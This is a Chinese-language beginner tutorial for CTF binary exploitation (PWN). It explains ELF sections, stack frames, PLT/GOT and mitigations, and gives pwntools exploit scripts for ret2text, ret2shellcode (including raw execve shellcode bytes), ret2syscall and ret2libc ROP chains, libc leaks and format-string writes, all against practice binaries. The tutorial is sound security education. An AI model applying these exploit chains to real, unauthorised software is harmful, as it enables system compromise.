CTF PWN 入门基础详细教程
一句话结论:PWN 的本质是「在受限的进程内存里,用输入劫持控制流」——先吃透编译链接装载、ELF 段表、栈帧布局与调用约定,再按 ret2text、ret2shellcode、ret2syscall、ret2libc、格式化字符串这条主线逐个击破,最后用 checksec 认识 NX、ASLR、Canary、PIE、RELRO 五层防护与对应的绕过思路。
排版说明:本文为兼容纯文本存储环境做了等价书写——原文中的反斜杠转义序列一律改为十六进制字节列表或文字描述(例如「字节 0x48 0x31」表示一个以这两个字节开头的机器码串),代码示例中的双引号字符串统一改写为单引号,文档路径中的分隔符统一使用正斜杠,十六进制地址前缀 0x 与 0X 等价混用不影响含义。
一、PWN 是什么:先建立名词坐标系
PWN(读作「pwn」或「pon」)指通过漏洞利用取得程序乃至操作系统的控制权。入门先把四个高频词钉死:
- exploit(exploit 脚本):利用程序,即攻击者编写的、与目标二进制交互并实施利用的脚本。
- payload(载荷):利用程序中真正投递给漏洞点的构造数据,通常由「填充字节 + 覆盖值 + 地址」拼接而成。
- shellcode:一段可被 CPU 直接执行的机器码,功能是攻击者想要的操作,最常见的是弹出 shell。它是「二进制代码」而不是「文本」。
- shell:一个命令执行环境(如 /bin/sh)。拿到 shell 意味着能以目标进程的身份执行系统命令,是 PWN 里最直观的成功标志。
一个典型的交互循环是:本地 process('./vuln') 起进程或 remote(host, port) 连远程 → 探测输出 recvline → 构造 payload 并 sendline 投递 → 控制流被劫持后 interactive() 接管 shell。
二、从源码到进程:编译、链接、装载
理解 PWN 的前提是理解「一个 C 文件如何变成一个跑在内存里的进程」:
- 预处理 → 编译 → 汇编:源码变目标文件(.o,含机器码但地址未定)。
- 链接:把多个目标文件与库合并成可执行 ELF,确定符号地址、生成节表与重定位信息。
- 装载:内核依据 ELF 程序头(Program Header)把各段映射进进程虚拟地址空间,跳转到入口
_start,最终调用main。
关键认知:磁盘上的可执行文件按「节(Section)」组织,内存中的运行映像按「段(Segment)」组织。节是链接视图(给 ld 用,粒度细,如 .text/.data/.bss/.rodata),段是执行视图(给内核装载用,粒度粗,多个节可合并进一个段)。调试、查符号看节,谈权限、谈内存布局看段。
三、ELF 结构与关键节
常见节及其职责:
| 节 | 存什么 | 是否占文件内容 | 典型源码 |
|---|---|---|---|
| .text | 可执行代码(函数体) | 是 | 函数实现 |
| .data | 已初始化的全局/静态变量(非零) | 是 | int x = 42; |
| .bss | 未初始化或零初始化的全局/静态变量 | 通常不占文件内容,仅在节表记录大小,运行时分配并清零 | int y; 或 int z = 0; |
| .rodata | 只读数据(字符串常量等) | 是 | 「hello」 |
| .plt | 外部函数调用的「跳板代码」 | 是(可执行) | 见下 |
| .got.plt | PLT 使用的地址表项 | 数据区 | 见下 |
延迟绑定(PLT/GOT)机制:为了加快启动、支持位置无关代码,外部函数(如 libc 里的 puts)地址不是加载时就填好,而是「第一次调用时才解析」。
.plt是跳板代码:函数被调用时先跳到.plt里的一小段桩。.got.plt是地址缓存:桩从.got.plt对应表项取出「真正要跳的地址」。- 延迟绑定「之前」,
.got.plt表项指向解析器(plt+6 处的 push+jmp);「之后」被改写为该函数在 libc 中的真实运行时地址。
这套机制带来两个 PWN 抓手:其一,.got.plt 里存着 libc 函数的真实地址,读它就等于泄露 libc,可绕过 ASLR;其二,若 .got.plt 可写(Partial RELRO),改写它就能把某次函数调用 hijack 到任意地址。
四、进程内存布局与栈的增长
一个 Linux 进程的虚拟地址空间从高到低大致是:栈(thread stack)→ mmap 区 → 堆(brk)→ .bss/.data → .rodata → .text,地址「上高下低」。
栈向低地址增长:push 使 rsp/esp 减小,栈顶在低地址端。函数调用时参数、返回地址、保存的旧帧指针依次压入,局部变量位于当前帧低地址处。
一个反直觉但极重要的点——数组元素在内存中地址递增,而栈整体地址递减,两者方向相反。当发生栈溢出(如 gets 从低地址往高地址写),先填满数组、越过保存的 rbp、再覆盖返回地址。覆盖返回地址时,「填充长度 = 缓冲区到返回地址的字节数」,这个偏移就是 payload 里 b'A' * offset 的 offset。
大小端序:x86/x64 均为小端(Little-Endian),低位字节存放在低地址。写 payload 时把地址打包成字节序要用 p64/p32(小端),它们负责把一个整数按 8/4 字节小端排列。读回泄露值时用 u64/u32 还原成整数。
五、常用寄存器与汇编
- RIP/EIP:指令指针,存下一条要执行的指令地址,劫持它 = 劫持控制流(PWN 的总目标)。
- RSP/ESP:栈指针,指向当前栈顶。
- RBP/EBP:帧基址指针,配合
rsp界定当前栈帧;[rbp-8]、[ebp-64h]是局部变量的常见定位方式。 - RAX/RBX/…/R15:通用寄存器;在系统调用约定里
rax存系统调用号,rdi/rsi/rdx/rcx/r8/r9(x64)或栈上参数(x86)传参。
两条高频指令的等价展开:
leave ; 等价于 mov rsp, rbp; pop rbp
ret ; 等价于 pop rip(从栈顶取返回地址跳入 RIP)
ret = pop rip 是 ROP 的基石:只要控制栈内容,就能通过反复 ret 把一个个「gadget 地址」送进 rip。函数序言 push ebp; mov ebp, esp 保存现场、建立新栈底,尾声 leave; ret 恢复并返回。
六、栈溢出利用的四要素
任何栈溢出题目,动手前先凑齐四块拼图:
- 溢出点:哪个函数、读了多少、能覆盖到哪里(
gets/read/strcpy/scanf是常客)。 - 覆盖偏移:从缓冲区起点到返回地址的字节数(用 cyclic 或调试量出)。
- 劫持目标地址:想让
rip跳去哪(后门函数 / shellcode / gadget)。 - 约束条件:NX 能否执行栈、有无 Canary、ASLR 是否开、需不需要先泄露、栈对齐要求。
典型「坏函数」:gets(无长度限制,读换行前全部存入)、read(长度可控且不清零,注意它不自动补结束符)、strcpy/sprintf(不管目标缓冲区大小)。例如某 main:
int __cdecl main(...)
{
char s[100]; // [esp+1Ch][ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
puts('No system for you this time !!!');
gets(s); // 溢出点:无边界
strncpy(buf2, s, 0x64u);// 拷进 bss 的 buf2,给了 shellcode 落点
printf('bye bye ~');
}
七、pwntools 速查
from pwn import *
io = remote('node1.anna.nssctf.cn', 28287) # 连远程;本地用 process('./vuln')
context(os='linux', arch='amd64', log_level='debug') # 调试期打开 log
syscall 号、地址用 p64(x)/p32(x) 打包,多段用 flat([...]) 拼接
io.sendline(payload) # 发送一行
io.sendlineafter(b'?', payload) # 等到提示符 '?' 再发
io.recvline() / io.recvn(n) / io.recvuntil(x) # 接收
io.interactive() # 拿到 shell 后交互接管
八、ret2text:回到已有代码
最朴素的思路——程序里已藏着后门函数(比如直接 system('/bin/sh')),溢出后把返回地址改成它的地址即可。x64 示例:
backdoor = 0x4014BA
ret = 0x40101a # 一个纯 ret,用于栈对齐「滑板」
payload = b'A' * (0x40 + 8) + p64(ret) + p64(backdoor)
io.sendline(payload)
io.interactive()
0x40 + 8 是「局部数组到保存的 rbp(8 字节)再到返回地址」的距离。多放的那个 ret 是栈对齐滑板:x86-64 System V ABI 要求函数入口处 rsp 按 16 字节对齐,call 压入 8 字节返回地址后常见 rsp % 16 == 8。若直接跳到后门,因对齐不满足会在 movaps 之类指令上崩溃;插入一个额外 ret 让栈顶再弹 8 字节,把对齐「掰」回来。这也是「本地能通、远端一交互就段错误」的经典元凶之一——修正方法常是在 payload 里补一个 ret,或把跳转目标改到函数体内部对齐合适的第一条指令(如后门地址 + 1 跳过序言)。
九、ret2shellcode:往可执行内存投递机器码
当程序没有后门,但栈或某段内存可执行(NX 未开或有 RWX 段)时,把 shellcode 写进可控内存、再劫持 rip 跳过去执行。
关键落点常是 bss 段(可读可写,地址固定,不受 ASLR 影响):先让 read/gets 把 shellcode 存进 bss 里的全局缓冲区,再覆盖返回地址指向该缓冲区首地址。某题 main 把输入 strncpy 到 bss 的 buf2:
sh = process('./shellcode')
shellcode = asm(shellcraft.sh()) # pwntools 生成的执行 execve(/bin/sh) 的机器码
buf2_addr = 0x04040A0 # bss 中 buf2 的固定地址
sh.sendline(shellcode.ljust(264, b'A') + p64(buf2_addr))
sh.interactive()
偏移算法:ebp - &s 量得缓冲区到保存 rbp 是 0x64(100),再加 8(保存的 rbp/对齐)到返回地址,故填充常取 108 或 112(32 位下 100+8=108,含额外对齐则为 112,见下文「108 变 104」)。
短 shellcode:当可用空间很小(如只读 20 余字节),手写短 shellcode。32 位约 21 字节、64 位约 23 字节能完成 execve('/bin/sh')。思路是用 push 把「//bin/sh」压栈、把栈顶当作字符串指针,cdq 把 edx 清零当参数,eax 置系统调用号(32 位 execve 为 0xb),int 0x80 触发。示例中一段 64 位 short shellcode 的字节序列(小端机器码,此处以十六进制列表表示)为:48 31 f6 56 48 bf 2f 62 69 6e 2f 2f 73 68 57 54 5f b0 3b 99 0f 05,即把 rsi 置 0、将「//bin//sh」压栈、rax 置 0x3b(x64 execve 号)、syscall 执行。
若栈本身可执行(checksec 显示 Stack: Executable 且 Has RWX segments),也可用 mmap 申请一块 RWX 内存放 shellcode 再跳过去。
十、ret2syscall:用现成 gadget 拼出系统调用
目标:不调用程序自带函数,而是用 ROP gadget 手动凑出 execve('/bin/sh', 0, 0) 所需的寄存器,再触发系统调用。
32 位下需 eax=0xb(execve 号)、ebx=/bin/sh 串地址、ecx=0、edx=0,最后 int 0x80。用 ROPgadget 找 pop/ret:
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
# 0x080bb196 : pop eax ; ret
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
# 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
ROPgadget --binary rop --only 'int'
# 0x08049421 : int 0x80
把栈当作「参数仓库」,按 gadget 出栈顺序布置 payload:
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
binsh = 0x080BE408 # 二进制里现成的 /bin/sh 字符串地址
int_0x80 = 0x08049421
payload = flat(['A'*112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
执行流:返回到 pop eax; ret → 弹出 0xb 进 eax → 返回到 pop edx; pop ecx; pop ebx; ret → 依次弹出 0/0/binsh → 返回到 int 0x80 → 触发 execve('/bin/sh',0,0),拿到 shell。
十一、ret2libc:泄露基址再借 libc 的刀
当 NX 开启(栈不可执行、不能放 shellcode)且程序有 system 可用或泄露能力时,回到 libc 里找 system('/bin/sh')。分三个层次:
ret2libc1(程序自带 system 与 /bin/sh):二进制里已链接 system 且存在现成「/bin/sh」串(ROPgadget --binary ret2libc1 --string '/bin/sh' 得到如 0x08048720)。32 位 cdecl 下,函数参数在其「返回地址之后」。布置:
bin_address = 0x08048720 # /bin/sh 地址
system_address = 0x08048460
payload = flat([b'a'*112, system_address, b'bbbb', bin_address])
栈布局(高地址在上):[bin_address](system 的参数)→ [bbbb](system 的伪返回地址,用 b'bbbb' 占位)→ [system_address](覆盖原返回地址)。system 取参数时会读它「返回地址」的下一个位置,故参数紧跟其后。
ret2libc2(有 system 无现成 /bin/sh,但可写入 bss):先让 gets 把「/bin/sh」读进 bss 的 buf2,再让 system(buf2)。用 pop ebx; ret 给两次调用摆参数:
gets_plt=0x08048460
system_plt=0x8048490
pop_ebx=0x0804843d
buf2=0x804a080
payload = flat([b'a'*112, gets_plt, pop_ebx, buf2, system_plt, b'a'*4, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh') # 第二次输入把串写进 buf2
链式:返回到 gets@plt(gets 会自己把 stdin 读到 buf2)→ gets 返回落到 pop_ebx; ret 把 buf2 弹入 ebx 并返回到 system@plt → system 参数即 buf2。
ret2libc3(NX+ASLR,需先泄露 libc):程序里既没 system 也没 /bin/sh,且开了 ASLR。核心手法:泄露 GOT → 定位 libc 版本与基址 → 二次溢出执行 system('/bin/sh')。步骤:
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
# 第一次:puts(got[__libc_start_main]) 打印真实地址,然后返回 main 再溢出一次
payload = flat([b'A'*112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)
libc_start_main_addr = u32(sh.recvn(4)) # 收下 4 字节泄露地址
libc = LibcSearcher('__libc_start_main', libc_start_main_addr) # 在线匹配 libc 版本
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
# 第二次:system('/bin/sh')
payload = flat([b'A'*112, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
若题目直接给了 libc 文件,更精确(免去在线匹配):libc = ELF('./libc.so.6'),libc.address = leaked - libc.symbols['__libc_start_main'],再取 libc.symbols['system'] 与 next(libc.search(b'/bin/sh'))。
为什么有时偏移从 108 变 104(或 112):泄露后跳回 main 重新执行时,main 是被当作「puts 的返回地址」进入的,而 cdecl 调用结束后没人执行 add esp, 4 去清理当初压给 puts 的那个参数(GOT 表项)。于是第二次 main 的栈基址比第一次低了 4 字节,ebp - &s 的距离随之从 108 缩到 104;若中途做过 and esp, 0xfffffff0 之类的 16 字节对齐,也会改变 ebp 与局部数组的距离。结论:偏移不是记死一个数,而要以「当前这次进入 main 时的实际栈布局」为准,用调试重新量。
十二、内存保护与 checksec 解读
checksec --file=./vuln 逐项含义:
- Arch:i386-32-little / amd64-64-little,决定用 p32 还是 p64、系统调用约定。
- RELRO(GOT 保护):No RELRO(.got.plt 可写,可直接改 GOT)→ Partial RELRO(.got 可写,能改 got 表项做 GOT 劫持)→ Full RELRO(.got 重定位后置只读,改不了)。
- Stack / Canary:No canary(无栈保护,可任意覆盖返回地址);Found canary(返回地址前有金丝雀值,溢出会先破坏它并被检测)。
- NX:NX enabled(栈/数据不可执行 → 不能 ret2shellcode,须走 ret2text/libc 或 mprotect);NX disabled /
Stack: Executable/Has RWX segments(可直接执行 shellcode)。 - PIE(地址随机化):No PIE(代码/数据基址固定,硬编码地址可靠);PIE enabled(每次加载基址随机,需先泄露一个代码地址算基址)。注意 ASLR 是系统级随机(栈/mmap/堆),PIE 是二进制级随机(代码段),关 PIE 只保证代码地址固定,libc 仍随 ASLR 变。
- Stripped / Debuginfo:是否符号剥离、是否带调试信息,影响 IDA/pwndbg 阅读体验。
Canary(栈金丝雀)原理:函数序言从线程 fs/gs 段(如 __readfsqword(0x28u))取一个随机值放到返回地址之前的栈上;函数返回前 xor 校验,若被溢出改写则栈检测失败、程序中止(detect libtcg/stack smashing detected)。绕过思路:若能泄露 canary(如格式化字符串、部分覆盖只改低位),原样回填即可;或直接目标为不返回的分支(覆盖函数指针、.dtors、exit 钩子)。
mprotect ROP(NX 下的 shellcode):NX 开启时借 libc 的 mprotect(addr, len, prot) 把某页改成 RWX(prot=7)再执行 shellcode。需要先泄露 libc 基址。摆参数时 pop rdx; ret 把第三个参数 prot 送进 rdx:
payload += p64(pop_rdx) # 执行 pop rdx; ret
payload += p64(7) # 这个 7 被 pop 进 rdx(PROT_READ|WRITE|EXEC)
栈上 [pop_rdx 地址] → [7] → …,返回到 mprotect 前把 rdi(页地址)、rsi(长度)也按 x64 约定摆好,mprotect 成功后返回到写入该区间的 shellcode。
十三、格式化字符串漏洞
根因:把用户输入直接当格式串传给 printf(user_input)(而非 printf('%s', user_input))。于是输入里的 %x/%p/%n 会被当作格式说明符解释。
- %p / %x 泄露:按栈上取值,可读出寄存器残留、栈上数据乃至 Canary、返回地址、libc 地址。
%11$p、%17$p表示「取第 11/17 个栈位置」,用来精确读取溢出到参数区的自己的数据。 - %n 写入:
%n把「到当前为止已打印的字符数」写入它对应参数所指的地址。若可控栈里存在一个指向可写内存(如 GOT 项、返回地址、某全局变量)的指针,就能用它做任意地址写。示例:printf('Count: %n', &target)打印「Count: 」(7 字符)后,把 7 写进 target。配合%[宽度]$n、%[地址]$n可精细控制写入值并指定第几个参数作为目标地址,实现 GOT 覆写(把 puts@got 改成后门地址)或直接改返回地址。 - 三阶段利用:先用
%p探测「第几个参数是自己的输入」并泄露必要地址 → 用%n系列做有限写入 → 覆盖返回地址或 GOT 完成劫持。
十四、热身实战与对齐细节
ret2text 后门(x64):checksec 显示 No PIE(0x400000)、No RELRO、Stack Executable。IDA 里有个后门,gets(v4) 溢出。距离:局部数组到保存 rbp,再 +8 到返回地址。栈帧(高地址在上):
+------------------+ ← rbp+8 返回地址(覆盖成后门 0x401176)
| saved rbp | ← rbp
| 局部变量 v4 | ← gets 写入起点(低地址)
payload = 填充 + p64(后门地址);若崩在对齐,前面补一个 ret 滑板。
level5 类栈对齐:x86-32 System V ABI 要求调用函数时 esp % 16 == 0。若量得缓冲区距保存 ebp 是 0x64(100),加对齐/保存 ebp 共 8 → 108,某些题因额外一个 ret/参数清理会变成 112。判断依据始终是「在触发 system 前那一刻、用调试看 esp 是否 16 对齐」,不齐就塞 ret(ROPgadget --binary ./ret2text4 --only 'ret' 找一个纯 ret,如 0x40101a)凑齐:
ROPgadget --binary ./ret2text4 --only 'ret'
bd = 0x401156
pd = b'a'*72 + p64(0x000000000040101a) + p64(bd) # 72=到返回地址距离, 插 ret 滑板再跳后门
io.sendline(pd)
read 只读一次的陷阱:某题把数据 read 到栈地址、只读一次;要往 bss 写 shellcode 得让它 read 到 bss(mov rsi, 0x4040a0; call read),若原程序只 lea rax,[rbp-0x64]; mov rsi,rax; call read(读到栈),需借助 ROP 改变第二次 read 的目标地址或落点,才能把 shellcode 放进可执行区。
十五、总利用范式(背下来)
checksec看防护 → 定大方向(能否放 shellcode、要不要泄露、有无 Canary)。- IDA/pwndbg 读 main → 找溢出点、量偏移、找后门/可写落点/现成串。
- 无防护:ret2text/ret2shellcode/ret2syscall 直接劫持。
- 有 NX:ret2libc(自带 system 或泄露 libc)或 mprotect ROP。
- 有 ASLR:先泄露一个 libc/GOT 地址算基址,再打第二发。
- 有 Canary:先泄露 Canary 回填,或改不返回的控制数据。
- 对齐/偏移对不上:以「当前栈布局」现场量,必要时补 ret 滑板。
- pwntools 落地:process/remote → sendline(payload) → interactive,本地打通再切 remote,并留意本地 libc 与远端 libc 版本一致(否则用泄露 + LibcSearcher/libc-database 校准)。
ROP 的本质,是「把栈当作指令序列的仓库,用一个个 ret 把 gadget 地址依次送进 rip,串成一条通往 execve/system 的链」。理解了控制流如何被 ret = pop rip 一步步劫持,前面所有类型都只是这条链在不同防护条件下的具体展开。